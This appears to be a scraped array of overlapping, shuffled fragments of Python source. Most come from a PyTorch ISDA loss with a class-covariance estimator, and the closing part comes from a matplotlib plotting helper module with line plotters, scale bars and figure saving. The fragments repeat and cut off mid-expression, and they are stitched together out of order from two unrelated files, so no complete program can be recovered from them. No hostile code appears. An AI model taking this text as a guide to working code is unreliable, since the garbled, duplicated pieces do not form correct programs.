"forward(self, model, fc, x, target_x, ratio): features = model(x) y",
"= onehot.view(N, C, 1).expand(N, C, A) features_by_sort = NxCxFeatures.mul(NxCxA_onehot) Amount_CxA",
"self).__init__() self.estimator = EstimatorCV(feature_num, class_num) self.class_num = class_num self.cross_entropy =",
"# CV_temp).view(N * C, 1, A), # (NxW_ij - NxW_kj).view(N",
"A, 1)).view(N, C) sigma2 = ratio * \\ torch.bmm(torch.bmm(NxW_ij -",
"+ additional_CV.detach() self.Ave = (self.Ave.mul(1 - weight_AV) + ave_CxA.mul(weight_AV)).detach() self.Amount",
"torch.gather(NxW_ij, 1, labels.view(N, 1, 1) .expand(N, C, A)) CV_temp =",
"- \\ ave_CxA.expand(N, C, A).mul(NxCxA_onehot) var_temp = torch.bmm( var_temp.permute(1, 2,",
"cv_matrix, ratio): N = features.size(0) C = self.class_num A =",
"class_num self.cross_entropy = nn.CrossEntropyLoss() def isda_aug(self, fc, features, y, labels,",
"target_x, ratio): features = model(x) y = fc(features) self.estimator.update_CV(features.detach(), target_x)",
"features = model(x) y = fc(features) self.estimator.update_CV(features.detach(), target_x) isda_aug_y =",
"= onehot.sum(0).view(C, 1).expand(C, A) weight_CV = sum_weight_CV.div( sum_weight_CV + self.Amount.view(C,",
"A) features_by_sort = NxCxFeatures.mul(NxCxA_onehot) Amount_CxA = NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA == 0]",
"NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA == 0] = 1 ave_CxA = features_by_sort.sum(0) /",
".mul(weight_CV)).detach() + additional_CV.detach() self.Ave = (self.Ave.mul(1 - weight_AV) + ave_CxA.mul(weight_AV)).detach()",
"weight_CV).mul( torch.bmm( (self.Ave - ave_CxA).view(C, A, 1), (self.Ave - ave_CxA).view(C,",
"C, 1, A), # (NxW_ij - NxW_kj).view(N * C, A,",
"features_by_sort.sum(0) / Amount_CxA var_temp = features_by_sort - \\ ave_CxA.expand(N, C,",
"= torch.zeros(class_num, feature_num, feature_num)#.cuda() self.Ave = torch.zeros(class_num, feature_num)#.cuda() self.Amount =",
"sigma2.mul(torch.eye(C)#.cuda() .expand(N, C, C)).sum(2).view(N, C) aug_result = y + 0.5",
").expand( N, C, A ) onehot = torch.zeros(N, C)#.cuda() onehot.scatter_(1,",
"cv_matrix[labels] # sigma2 = ratio * \\ # torch.bmm(torch.bmm(NxW_ij -",
"def update_CV(self, features, labels): N = features.size(0) C = self.class_num",
"Amount_CxA var_temp = features_by_sort - \\ ave_CxA.expand(N, C, A).mul(NxCxA_onehot) var_temp",
"features.size(1) weight_m = list(fc.parameters())[0] NxW_ij = weight_m.expand(N, C, A) NxW_kj",
"= y + 0.5 * sigma2 return aug_result def forward(self,",
"labels, cv_matrix, ratio): N = features.size(0) C = self.class_num A",
"list(fc.parameters())[0] NxW_ij = weight_m.expand(N, C, A) NxW_kj = torch.gather(NxW_ij, 1,",
"= onehot.sum(0).view(C, 1, 1).expand(C, A, A) sum_weight_AV = onehot.sum(0).view(C, 1).expand(C,",
"CV_temp = cv_matrix[labels] # sigma2 = ratio * \\ #",
"fc, x, target_x, ratio): features = model(x) y = fc(features)",
"sum_weight_AV.div( sum_weight_AV + self.Amount.view(C, 1).expand(C, A) ) weight_AV[weight_AV != weight_AV]",
"= torch.bmm( var_temp.permute(1, 2, 0), var_temp.permute(1, 0, 2) ).div(Amount_CxA.view(C, A,",
"0 additional_CV = weight_CV.mul(1 - weight_CV).mul( torch.bmm( (self.Ave - ave_CxA).view(C,",
"+ var_temp .mul(weight_CV)).detach() + additional_CV.detach() self.Ave = (self.Ave.mul(1 - weight_AV)",
"var_temp.permute(1, 2, 0), var_temp.permute(1, 0, 2) ).div(Amount_CxA.view(C, A, 1).expand(C, A,",
"ave_CxA.expand(N, C, A).mul(NxCxA_onehot) var_temp = torch.bmm( var_temp.permute(1, 2, 0), var_temp.permute(1,",
"C, A)) CV_temp = cv_matrix[labels] # sigma2 = ratio *",
"def isda_aug(self, fc, features, y, labels, cv_matrix, ratio): N =",
"weight_AV[weight_AV != weight_AV] = 0 additional_CV = weight_CV.mul(1 - weight_CV).mul(",
"A = features.size(1) NxCxFeatures = features.view( N, 1, A ).expand(",
"torch.zeros(class_num)#.cuda() def update_CV(self, features, labels): N = features.size(0) C =",
".expand(N, C, C)).sum(2).view(N, C) aug_result = y + 0.5 *",
"1), 1) NxCxA_onehot = onehot.view(N, C, 1).expand(N, C, A) features_by_sort",
"CV_temp).view(N * C, 1, A), # (NxW_ij - NxW_kj).view(N *",
"= features.size(1) weight_m = list(fc.parameters())[0] NxW_ij = weight_m.expand(N, C, A)",
"= features.size(1) NxCxFeatures = features.view( N, 1, A ).expand( N,",
"torch.nn as nn class EstimatorCV(): def __init__(self, feature_num, class_num): super(EstimatorCV,",
"= sum_weight_CV.div( sum_weight_CV + self.Amount.view(C, 1, 1).expand(C, A, A) )",
"C, C)).sum(2).view(N, C) aug_result = y + 0.5 * sigma2",
").div(Amount_CxA.view(C, A, 1).expand(C, A, A)) sum_weight_CV = onehot.sum(0).view(C, 1, 1).expand(C,",
"= ratio * \\ torch.bmm(torch.bmm(NxW_ij - NxW_kj, CV_temp), (NxW_ij -",
"features.view( N, 1, A ).expand( N, C, A ) onehot",
"NxW_ij = weight_m.expand(N, C, A) NxW_kj = torch.gather(NxW_ij, 1, labels.view(N,",
"features, labels): N = features.size(0) C = self.class_num A =",
"(self.Ave.mul(1 - weight_AV) + ave_CxA.mul(weight_AV)).detach() self.Amount += onehot.sum(0) class ISDALoss(nn.Module):",
"self.Amount = torch.zeros(class_num)#.cuda() def update_CV(self, features, labels): N = features.size(0)",
"update_CV(self, features, labels): N = features.size(0) C = self.class_num A",
"1).expand(C, A, A) sum_weight_AV = onehot.sum(0).view(C, 1).expand(C, A) weight_CV =",
"aug_result def forward(self, model, fc, x, target_x, ratio): features =",
"!= weight_CV] = 0 weight_AV = sum_weight_AV.div( sum_weight_AV + self.Amount.view(C,",
"= sigma2.mul(torch.eye(C)#.cuda() .expand(N, C, C)).sum(2).view(N, C) aug_result = y +",
"C, A) features_by_sort = NxCxFeatures.mul(NxCxA_onehot) Amount_CxA = NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA ==",
"onehot.sum(0).view(C, 1, 1).expand(C, A, A) sum_weight_AV = onehot.sum(0).view(C, 1).expand(C, A)",
"y + 0.5 * sigma2 return aug_result def forward(self, model,",
"N, 1, A ).expand( N, C, A ) onehot =",
"1 ave_CxA = features_by_sort.sum(0) / Amount_CxA var_temp = features_by_sort -",
"C) aug_result = y + 0.5 * sigma2 return aug_result",
") self.CoVariance = (self.CoVariance.mul(1 - weight_CV) + var_temp .mul(weight_CV)).detach() +",
"= list(fc.parameters())[0] NxW_ij = weight_m.expand(N, C, A) NxW_kj = torch.gather(NxW_ij,",
"self.class_num A = features.size(1) weight_m = list(fc.parameters())[0] NxW_ij = weight_m.expand(N,",
"1, A), # (NxW_ij - NxW_kj).view(N * C, A, 1)).view(N,",
"+ 0.5 * sigma2 return aug_result def forward(self, model, fc,",
"var_temp .mul(weight_CV)).detach() + additional_CV.detach() self.Ave = (self.Ave.mul(1 - weight_AV) +",
"self.Amount += onehot.sum(0) class ISDALoss(nn.Module): def __init__(self, feature_num, class_num): super(ISDALoss,",
"A).mul(NxCxA_onehot) var_temp = torch.bmm( var_temp.permute(1, 2, 0), var_temp.permute(1, 0, 2)",
"class_num self.CoVariance = torch.zeros(class_num, feature_num, feature_num)#.cuda() self.Ave = torch.zeros(class_num, feature_num)#.cuda()",
"torch.bmm( var_temp.permute(1, 2, 0), var_temp.permute(1, 0, 2) ).div(Amount_CxA.view(C, A, 1).expand(C,",
"self.Ave = torch.zeros(class_num, feature_num)#.cuda() self.Amount = torch.zeros(class_num)#.cuda() def update_CV(self, features,",
"= NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA == 0] = 1 ave_CxA = features_by_sort.sum(0)",
"C, 1).expand(N, C, A) features_by_sort = NxCxFeatures.mul(NxCxA_onehot) Amount_CxA = NxCxA_onehot.sum(0)",
"additional_CV.detach() self.Ave = (self.Ave.mul(1 - weight_AV) + ave_CxA.mul(weight_AV)).detach() self.Amount +=",
"def __init__(self, feature_num, class_num): super(EstimatorCV, self).__init__() self.class_num = class_num self.CoVariance",
"= class_num self.CoVariance = torch.zeros(class_num, feature_num, feature_num)#.cuda() self.Ave = torch.zeros(class_num,",
"labels.view(N, 1, 1) .expand(N, C, A)) CV_temp = cv_matrix[labels] #",
"onehot.sum(0).view(C, 1).expand(C, A) weight_CV = sum_weight_CV.div( sum_weight_CV + self.Amount.view(C, 1,",
"self.Ave = (self.Ave.mul(1 - weight_AV) + ave_CxA.mul(weight_AV)).detach() self.Amount += onehot.sum(0)",
"features, y, labels, cv_matrix, ratio): N = features.size(0) C =",
"1, 1).expand(C, A, A) sum_weight_AV = onehot.sum(0).view(C, 1).expand(C, A) weight_CV",
"class_num): super(ISDALoss, self).__init__() self.estimator = EstimatorCV(feature_num, class_num) self.class_num = class_num",
"self.cross_entropy = nn.CrossEntropyLoss() def isda_aug(self, fc, features, y, labels, cv_matrix,",
") ) self.CoVariance = (self.CoVariance.mul(1 - weight_CV) + var_temp .mul(weight_CV)).detach()",
"isda_aug(self, fc, features, y, labels, cv_matrix, ratio): N = features.size(0)",
"target_x) isda_aug_y = self.isda_aug(fc, features, y, target_x, self.estimator.CoVariance.detach(), ratio) loss",
"\\ torch.bmm(torch.bmm(NxW_ij - NxW_kj, CV_temp), (NxW_ij - NxW_kj).permute(0, 2, 1))",
"import torch import torch.nn as nn class EstimatorCV(): def __init__(self,",
"+ ave_CxA.mul(weight_AV)).detach() self.Amount += onehot.sum(0) class ISDALoss(nn.Module): def __init__(self, feature_num,",
"0, 2) ).div(Amount_CxA.view(C, A, 1).expand(C, A, A)) sum_weight_CV = onehot.sum(0).view(C,",
"NxCxFeatures = features.view( N, 1, A ).expand( N, C, A",
"onehot.view(N, C, 1).expand(N, C, A) features_by_sort = NxCxFeatures.mul(NxCxA_onehot) Amount_CxA =",
"+= onehot.sum(0) class ISDALoss(nn.Module): def __init__(self, feature_num, class_num): super(ISDALoss, self).__init__()",
"= cv_matrix[labels] # sigma2 = ratio * \\ # torch.bmm(torch.bmm(NxW_ij",
"fc(features) self.estimator.update_CV(features.detach(), target_x) isda_aug_y = self.isda_aug(fc, features, y, target_x, self.estimator.CoVariance.detach(),",
"1).expand(N, C, A) features_by_sort = NxCxFeatures.mul(NxCxA_onehot) Amount_CxA = NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA",
"self.CoVariance = torch.zeros(class_num, feature_num, feature_num)#.cuda() self.Ave = torch.zeros(class_num, feature_num)#.cuda() self.Amount",
"ratio * \\ torch.bmm(torch.bmm(NxW_ij - NxW_kj, CV_temp), (NxW_ij - NxW_kj).permute(0,",
"1) NxCxA_onehot = onehot.view(N, C, 1).expand(N, C, A) features_by_sort =",
"C) sigma2 = ratio * \\ torch.bmm(torch.bmm(NxW_ij - NxW_kj, CV_temp),",
"1, A) ) ) self.CoVariance = (self.CoVariance.mul(1 - weight_CV) +",
"0), var_temp.permute(1, 0, 2) ).div(Amount_CxA.view(C, A, 1).expand(C, A, A)) sum_weight_CV",
"class ISDALoss(nn.Module): def __init__(self, feature_num, class_num): super(ISDALoss, self).__init__() self.estimator =",
"sigma2 = ratio * \\ torch.bmm(torch.bmm(NxW_ij - NxW_kj, CV_temp), (NxW_ij",
"= (self.CoVariance.mul(1 - weight_CV) + var_temp .mul(weight_CV)).detach() + additional_CV.detach() self.Ave",
") onehot = torch.zeros(N, C)#.cuda() onehot.scatter_(1, labels.view(-1, 1), 1) NxCxA_onehot",
"ave_CxA.mul(weight_AV)).detach() self.Amount += onehot.sum(0) class ISDALoss(nn.Module): def __init__(self, feature_num, class_num):",
"A, 1).expand(C, A, A)) sum_weight_CV = onehot.sum(0).view(C, 1, 1).expand(C, A,",
"C, A) NxW_kj = torch.gather(NxW_ij, 1, labels.view(N, 1, 1) .expand(N,",
"class_num): super(EstimatorCV, self).__init__() self.class_num = class_num self.CoVariance = torch.zeros(class_num, feature_num,",
"sum_weight_CV = onehot.sum(0).view(C, 1, 1).expand(C, A, A) sum_weight_AV = onehot.sum(0).view(C,",
"feature_num, feature_num)#.cuda() self.Ave = torch.zeros(class_num, feature_num)#.cuda() self.Amount = torch.zeros(class_num)#.cuda() def",
"- weight_AV) + ave_CxA.mul(weight_AV)).detach() self.Amount += onehot.sum(0) class ISDALoss(nn.Module): def",
"EstimatorCV(): def __init__(self, feature_num, class_num): super(EstimatorCV, self).__init__() self.class_num = class_num",
"torch.bmm(torch.bmm(NxW_ij - NxW_kj, # CV_temp).view(N * C, 1, A), #",
"NxW_kj).permute(0, 2, 1)) sigma2 = sigma2.mul(torch.eye(C)#.cuda() .expand(N, C, C)).sum(2).view(N, C)",
"= 0 additional_CV = weight_CV.mul(1 - weight_CV).mul( torch.bmm( (self.Ave -",
"= self.isda_aug(fc, features, y, target_x, self.estimator.CoVariance.detach(), ratio) loss = self.cross_entropy(isda_aug_y,",
"- ave_CxA).view(C, A, 1), (self.Ave - ave_CxA).view(C, 1, A) )",
"C, A).mul(NxCxA_onehot) var_temp = torch.bmm( var_temp.permute(1, 2, 0), var_temp.permute(1, 0,",
"(NxW_ij - NxW_kj).view(N * C, A, 1)).view(N, C) sigma2 =",
"1, 1).expand(C, A, A) ) weight_CV[weight_CV != weight_CV] = 0",
"N = features.size(0) C = self.class_num A = features.size(1) weight_m",
"= (self.Ave.mul(1 - weight_AV) + ave_CxA.mul(weight_AV)).detach() self.Amount += onehot.sum(0) class",
"torch.zeros(class_num, feature_num, feature_num)#.cuda() self.Ave = torch.zeros(class_num, feature_num)#.cuda() self.Amount = torch.zeros(class_num)#.cuda()",
"A) sum_weight_AV = onehot.sum(0).view(C, 1).expand(C, A) weight_CV = sum_weight_CV.div( sum_weight_CV",
"\\ ave_CxA.expand(N, C, A).mul(NxCxA_onehot) var_temp = torch.bmm( var_temp.permute(1, 2, 0),",
"A)) sum_weight_CV = onehot.sum(0).view(C, 1, 1).expand(C, A, A) sum_weight_AV =",
") weight_CV[weight_CV != weight_CV] = 0 weight_AV = sum_weight_AV.div( sum_weight_AV",
"var_temp = features_by_sort - \\ ave_CxA.expand(N, C, A).mul(NxCxA_onehot) var_temp =",
"# sigma2 = ratio * \\ # torch.bmm(torch.bmm(NxW_ij - NxW_kj,",
"y, labels, cv_matrix, ratio): N = features.size(0) C = self.class_num",
"!= weight_AV] = 0 additional_CV = weight_CV.mul(1 - weight_CV).mul( torch.bmm(",
"NxW_kj, # CV_temp).view(N * C, 1, A), # (NxW_ij -",
"weight_CV[weight_CV != weight_CV] = 0 weight_AV = sum_weight_AV.div( sum_weight_AV +",
"0 weight_AV = sum_weight_AV.div( sum_weight_AV + self.Amount.view(C, 1).expand(C, A) )",
"A, 1), (self.Ave - ave_CxA).view(C, 1, A) ) ) self.CoVariance",
"= nn.CrossEntropyLoss() def isda_aug(self, fc, features, y, labels, cv_matrix, ratio):",
"A) ) ) self.CoVariance = (self.CoVariance.mul(1 - weight_CV) + var_temp",
"1), (self.Ave - ave_CxA).view(C, 1, A) ) ) self.CoVariance =",
"weight_AV = sum_weight_AV.div( sum_weight_AV + self.Amount.view(C, 1).expand(C, A) ) weight_AV[weight_AV",
"import torch.nn as nn class EstimatorCV(): def __init__(self, feature_num, class_num):",
"Amount_CxA = NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA == 0] = 1 ave_CxA =",
"\\ # torch.bmm(torch.bmm(NxW_ij - NxW_kj, # CV_temp).view(N * C, 1,",
"self.class_num = class_num self.cross_entropy = nn.CrossEntropyLoss() def isda_aug(self, fc, features,",
"A) weight_CV = sum_weight_CV.div( sum_weight_CV + self.Amount.view(C, 1, 1).expand(C, A,",
"features.size(0) C = self.class_num A = features.size(1) weight_m = list(fc.parameters())[0]",
"feature_num)#.cuda() self.Amount = torch.zeros(class_num)#.cuda() def update_CV(self, features, labels): N =",
"features, y, target_x, self.estimator.CoVariance.detach(), ratio) loss = self.cross_entropy(isda_aug_y, target_x) return",
"self.Amount.view(C, 1, 1).expand(C, A, A) ) weight_CV[weight_CV != weight_CV] =",
"= 1 ave_CxA = features_by_sort.sum(0) / Amount_CxA var_temp = features_by_sort",
"= features_by_sort - \\ ave_CxA.expand(N, C, A).mul(NxCxA_onehot) var_temp = torch.bmm(",
"__init__(self, feature_num, class_num): super(ISDALoss, self).__init__() self.estimator = EstimatorCV(feature_num, class_num) self.class_num",
"A) ) weight_CV[weight_CV != weight_CV] = 0 weight_AV = sum_weight_AV.div(",
"* \\ # torch.bmm(torch.bmm(NxW_ij - NxW_kj, # CV_temp).view(N * C,",
"ave_CxA).view(C, 1, A) ) ) self.CoVariance = (self.CoVariance.mul(1 - weight_CV)",
"y, target_x, self.estimator.CoVariance.detach(), ratio) loss = self.cross_entropy(isda_aug_y, target_x) return loss,",
"isda_aug_y = self.isda_aug(fc, features, y, target_x, self.estimator.CoVariance.detach(), ratio) loss =",
"aug_result = y + 0.5 * sigma2 return aug_result def",
"features.size(1) NxCxFeatures = features.view( N, 1, A ).expand( N, C,",
"- ave_CxA).view(C, 1, A) ) ) self.CoVariance = (self.CoVariance.mul(1 -",
"feature_num, class_num): super(EstimatorCV, self).__init__() self.class_num = class_num self.CoVariance = torch.zeros(class_num,",
"var_temp.permute(1, 0, 2) ).div(Amount_CxA.view(C, A, 1).expand(C, A, A)) sum_weight_CV =",
"self.class_num A = features.size(1) NxCxFeatures = features.view( N, 1, A",
"# torch.bmm(torch.bmm(NxW_ij - NxW_kj, # CV_temp).view(N * C, 1, A),",
"ratio): features = model(x) y = fc(features) self.estimator.update_CV(features.detach(), target_x) isda_aug_y",
"C)#.cuda() onehot.scatter_(1, labels.view(-1, 1), 1) NxCxA_onehot = onehot.view(N, C, 1).expand(N,",
"= weight_m.expand(N, C, A) NxW_kj = torch.gather(NxW_ij, 1, labels.view(N, 1,",
"A ).expand( N, C, A ) onehot = torch.zeros(N, C)#.cuda()",
"sigma2 = ratio * \\ # torch.bmm(torch.bmm(NxW_ij - NxW_kj, #",
"A)) CV_temp = cv_matrix[labels] # sigma2 = ratio * \\",
"Amount_CxA[Amount_CxA == 0] = 1 ave_CxA = features_by_sort.sum(0) / Amount_CxA",
"weight_m.expand(N, C, A) NxW_kj = torch.gather(NxW_ij, 1, labels.view(N, 1, 1)",
"C)).sum(2).view(N, C) aug_result = y + 0.5 * sigma2 return",
"1).expand(C, A) ) weight_AV[weight_AV != weight_AV] = 0 additional_CV =",
"A, A) ) weight_CV[weight_CV != weight_CV] = 0 weight_AV =",
"def forward(self, model, fc, x, target_x, ratio): features = model(x)",
"weight_CV = sum_weight_CV.div( sum_weight_CV + self.Amount.view(C, 1, 1).expand(C, A, A)",
"= features.size(0) C = self.class_num A = features.size(1) NxCxFeatures =",
"NxCxFeatures.mul(NxCxA_onehot) Amount_CxA = NxCxA_onehot.sum(0) Amount_CxA[Amount_CxA == 0] = 1 ave_CxA",
"1) .expand(N, C, A)) CV_temp = cv_matrix[labels] # sigma2 =",
"- weight_CV) + var_temp .mul(weight_CV)).detach() + additional_CV.detach() self.Ave = (self.Ave.mul(1",
") weight_AV[weight_AV != weight_AV] = 0 additional_CV = weight_CV.mul(1 -",
"C, A ) onehot = torch.zeros(N, C)#.cuda() onehot.scatter_(1, labels.view(-1, 1),",
"var_temp = torch.bmm( var_temp.permute(1, 2, 0), var_temp.permute(1, 0, 2) ).div(Amount_CxA.view(C,",
"1).expand(C, A) weight_CV = sum_weight_CV.div( sum_weight_CV + self.Amount.view(C, 1, 1).expand(C,",
"1).expand(C, A, A) ) weight_CV[weight_CV != weight_CV] = 0 weight_AV",
"fc, features, y, labels, cv_matrix, ratio): N = features.size(0) C",
"nn class EstimatorCV(): def __init__(self, feature_num, class_num): super(EstimatorCV, self).__init__() self.class_num",
"* C, 1, A), # (NxW_ij - NxW_kj).view(N * C,",
"- NxW_kj, # CV_temp).view(N * C, 1, A), # (NxW_ij",
"ratio): N = features.size(0) C = self.class_num A = features.size(1)",
"A = features.size(1) weight_m = list(fc.parameters())[0] NxW_ij = weight_m.expand(N, C,",
"C = self.class_num A = features.size(1) NxCxFeatures = features.view( N,",
"= fc(features) self.estimator.update_CV(features.detach(), target_x) isda_aug_y = self.isda_aug(fc, features, y, target_x,",
"= sum_weight_AV.div( sum_weight_AV + self.Amount.view(C, 1).expand(C, A) ) weight_AV[weight_AV !=",
"model, fc, x, target_x, ratio): features = model(x) y =",
"/ Amount_CxA var_temp = features_by_sort - \\ ave_CxA.expand(N, C, A).mul(NxCxA_onehot)",
"1).expand(C, A, A)) sum_weight_CV = onehot.sum(0).view(C, 1, 1).expand(C, A, A)",
"C = self.class_num A = features.size(1) weight_m = list(fc.parameters())[0] NxW_ij",
"EstimatorCV(feature_num, class_num) self.class_num = class_num self.cross_entropy = nn.CrossEntropyLoss() def isda_aug(self,",
"class EstimatorCV(): def __init__(self, feature_num, class_num): super(EstimatorCV, self).__init__() self.class_num =",
"NxW_kj = torch.gather(NxW_ij, 1, labels.view(N, 1, 1) .expand(N, C, A))",
"N = features.size(0) C = self.class_num A = features.size(1) NxCxFeatures",
"= torch.zeros(N, C)#.cuda() onehot.scatter_(1, labels.view(-1, 1), 1) NxCxA_onehot = onehot.view(N,",
"self.Amount.view(C, 1).expand(C, A) ) weight_AV[weight_AV != weight_AV] = 0 additional_CV",
"sum_weight_CV + self.Amount.view(C, 1, 1).expand(C, A, A) ) weight_CV[weight_CV !=",
"A, A)) sum_weight_CV = onehot.sum(0).view(C, 1, 1).expand(C, A, A) sum_weight_AV",
"sum_weight_AV + self.Amount.view(C, 1).expand(C, A) ) weight_AV[weight_AV != weight_AV] =",
"A), # (NxW_ij - NxW_kj).view(N * C, A, 1)).view(N, C)",
"onehot = torch.zeros(N, C)#.cuda() onehot.scatter_(1, labels.view(-1, 1), 1) NxCxA_onehot =",
"self.isda_aug(fc, features, y, target_x, self.estimator.CoVariance.detach(), ratio) loss = self.cross_entropy(isda_aug_y, target_x)",
"super(EstimatorCV, self).__init__() self.class_num = class_num self.CoVariance = torch.zeros(class_num, feature_num, feature_num)#.cuda()",
"sum_weight_AV = onehot.sum(0).view(C, 1).expand(C, A) weight_CV = sum_weight_CV.div( sum_weight_CV +",
"1, labels.view(N, 1, 1) .expand(N, C, A)) CV_temp = cv_matrix[labels]",
"y = fc(features) self.estimator.update_CV(features.detach(), target_x) isda_aug_y = self.isda_aug(fc, features, y,",
"2) ).div(Amount_CxA.view(C, A, 1).expand(C, A, A)) sum_weight_CV = onehot.sum(0).view(C, 1,",
"= self.class_num A = features.size(1) weight_m = list(fc.parameters())[0] NxW_ij =",
"- NxW_kj, CV_temp), (NxW_ij - NxW_kj).permute(0, 2, 1)) sigma2 =",
"(self.Ave - ave_CxA).view(C, A, 1), (self.Ave - ave_CxA).view(C, 1, A)",
"weight_m = list(fc.parameters())[0] NxW_ij = weight_m.expand(N, C, A) NxW_kj =",
"def __init__(self, feature_num, class_num): super(ISDALoss, self).__init__() self.estimator = EstimatorCV(feature_num, class_num)",
"torch import torch.nn as nn class EstimatorCV(): def __init__(self, feature_num,",
"== 0] = 1 ave_CxA = features_by_sort.sum(0) / Amount_CxA var_temp",
"0.5 * sigma2 return aug_result def forward(self, model, fc, x,",
".expand(N, C, A)) CV_temp = cv_matrix[labels] # sigma2 = ratio"
] |
[
"'figSize' in kwargs: figSize = kwargs['figSize'] else: figSize = self.rcParams['figure.figsize']",
"to a data file.') else: self.data = data if not",
"super().__init__(data=data, axis=axis, **kwargs) self.kind = 'image' self.X = data.get('X') self.cmap",
"fileType='png', fileDir=None, overwrite=True, **kwargs): \"\"\" 'eps': 'Encapsulated Postscript', 'jpg': 'Joint",
"set size using sizex and sizey params - hidex,hidey :",
"self.axis = self.metafig.ax else: self.fig = self.axis.figure # Attach plotter",
"space=None, **kwargs): add_scalebar(self.axis, matchx=matchx, matchy=matchy, hidex=hidex, hidey=hidey, unitsx=unitsx, unitsy=unitsy, scalex=scalex,",
"class used for plotting multiple lines on the same axis\"\"\"",
"AuxTransformBox, VPacker, HPacker, TextArea, DrawingArea bars = AuxTransformBox(axis.transData) if sizex:",
"0.67, 0.67], [0.90, 0.59, 0.00], [0.42, 0.82, 0.83], [1.00, 0.85,",
"0.67], [0.90, 0.59, 0.00], [0.42, 0.82, 0.83], [1.00, 0.85, 0.00],",
"self.axis.set_xlim(kwargs['xlim']) if 'ylim' in kwargs: if kwargs['ylim'] is not None:",
"= AuxTransformBox(axis.transData) if sizex: if axis.xaxis_inverted(): sizex = -sizex bars.add_artist(Rectangle((0,0),",
"in kwargs or kwargs['labely'] is None: kwargs['labely'] = '%.3g %s'%(kwargs['sizey']",
"pad=0, sep=sep) AnchoredOffsetbox.__init__(self, loc, pad=pad, borderpad=borderpad, child=bars, prop=prop, frameon=False, **kwargs)",
"matching the size to the ticks of the plot and",
"in range(numLines)] else: labels = self.label for index, line in",
"constructor \"\"\" from matplotlib.patches import Rectangle from matplotlib.offsetbox import AuxTransformBox,",
"(center-aligned). - transform : the coordinate frame (typically axes.transData) -",
"basestring): fileName = self.sim.cfg.filename + fileDesc + fileExt else: if",
"= data.get('extent', None) self.aspect = data.get('aspect', None) self.interpolation = data.get('interpolation',",
"def formatAxis(self, **kwargs): if 'title' in kwargs: self.axis.set_title(kwargs['title']) if 'xlabel'",
"legendParams = ['loc', 'bbox_to_anchor', 'fontsize', 'numpoints', 'scatterpoints', 'scatteryoffsets', 'markerscale', 'markerfirst',",
"0.20, 0.00], [0.71, 0.82, 0.41], [0.00, 0.20, 0.50], [0.70, 0.32,",
"for line in range(numLines)] else: alphas = self.alpha if self.label",
"axis if self.axis is None: final = True self.metafig =",
"AnchoredScaleBar(axis, **kwargs) axis.add_artist(scalebar) if hidex: axis.xaxis.set_visible(False) if hidey: axis.yaxis.set_visible(False) if",
"those values instead of the defaults if 'legendKwargs' in kwargs:",
"line in range(numLines)] else: alphas = self.alpha if self.label is",
"data.get('extent', None) self.aspect = data.get('aspect', None) self.interpolation = data.get('interpolation', None)",
"= os.path.join(fileDir, fileName) if not overwrite: while os.path.isfile(fileName): try: fileNumStr",
"+ fileDesc + fileExt else: if fileName.endswith(fileExt): fileName = fileName.split(fileExt)[0]",
"axis=None, options={}, **kwargs): super().__init__(data=data, axis=axis, **kwargs) self.kind = 'lines' self.x",
"set to None, a new figure and axis are created",
"'sizex' in kwargs: sizex = kwargs['sizex'] if 'sizey' in kwargs:",
"using sizex and sizey params - hidex,hidey : if True,",
"is not None: fileName = os.path.join(fileDir, fileName) if not overwrite:",
"True, set size of scale bars to spacing between ticks,",
"self.extent = data.get('extent', None) self.aspect = data.get('aspect', None) self.interpolation =",
"import numpy as np from copy import deepcopy import pickle,",
"!= list: colors = [self.color for line in range(numLines)] else:",
"= kwargs['sizey'] def autosize(value, maxvalue, scale, n=1, m=10): round_to_n =",
"= 'line' self.x = np.array(data.get('x')) self.y = np.array(data.get('y')) self.color =",
"in kwargs: plt.tight_layout() elif kwargs['tightLayout']: plt.tight_layout() if 'saveFig' in kwargs:",
"lines on the same axis\"\"\" def __init__(self, data, axis=None, options={},",
"for plotting multiple lines on the same axis\"\"\" def __init__(self,",
"int: nrows = subplots ncols = 1 elif type(subplots) ==",
"bar with the size in data coordinate of the give",
"is a string, it must be the path to a",
"None: labels = [None for line in range(numLines)] else: labels",
"its MetaFigure self.metafig.plotters.append(self) def loadData(self, fileName, fileDir=None, sim=None): from ..analysis",
"if type(data) == str: if os.path.isfile(data): self.data = self.loadData(data) else:",
"alpha=self.alpha, linewidths=self.linewidths) self.finishAxis(**kwargs) return self.fig class LinePlotter(GeneralPlotter): \"\"\"A class used",
"params - hidex,hidey : if True, hide x-axis and y-axis",
"size in data coordinate of the give axes. A label",
"self.color = data.get('color') self.marker = data.get('marker') self.markersize = data.get('markersize') self.linewidth",
"data.get('stacked', False) self.data = data.get('data', None) def plot(self, **kwargs): histPlot",
"an axis is input, plot there; otherwise make a new",
"*ax*, matching the size to the ticks of the plot",
"barcolor=\"black\", barwidth=None, **kwargs): \"\"\" Draw a horizontal and/or vertical bar",
"data file.') else: self.data = data if not sim: from",
"if 'figSize' in kwargs: figSize = kwargs['figSize'] else: figSize =",
"is None: unitsy = '' if 'labelx' not in kwargs",
"figSize = self.rcParams['figure.figsize'] if 'dpi' in kwargs: dpi = kwargs['dpi']",
"'Raw RGBA bitmap', 'rgba': 'Raw RGBA bitmap', 'svg': 'Scalable Vector",
"fileNumStr = fileNumStrNew = '01' fileName = fileName.split(fileExt)[0] fileName =",
"deepcopy import pickle, json import os from matplotlib.offsetbox import AnchoredOffsetbox",
"fileName=None, fileDesc=None, fileType='png', fileDir=None, overwrite=True, **kwargs): \"\"\" 'eps': 'Encapsulated Postscript',",
"if fileType not in self.fig.canvas.get_supported_filetypes(): raise Exception('fileType not recognized in",
"in legendKwargs_new: if key in legendParams: legendKwargs[key] = legendKwargs_new[key] cur_handles,",
"True: self.addColorbar() elif type(kwargs['colorbar']) == dict: self.addColorbar(**kwargs['colorbar']) if 'grid' in",
"points. - **kwargs : additional arguments passed to base class",
"size of scale bars to spacing between ticks, if False,",
"Reset the matplotlib rcParams to their original settings mpl.style.use(self.metafig.orig_rcParams) class",
"plotted into. If plotting into an existing axis, more options",
"nrows = subplots[0] ncols = subplots[1] # Create figure if",
"and y axes - axis : the axis to attach",
"0.33], [0.50, 0.20, 0.00], [0.71, 0.82, 0.41], [0.00, 0.20, 0.50],",
"code for LaTeX', 'png': 'Portable Network Graphics', 'ps': 'Postscript', 'raw':",
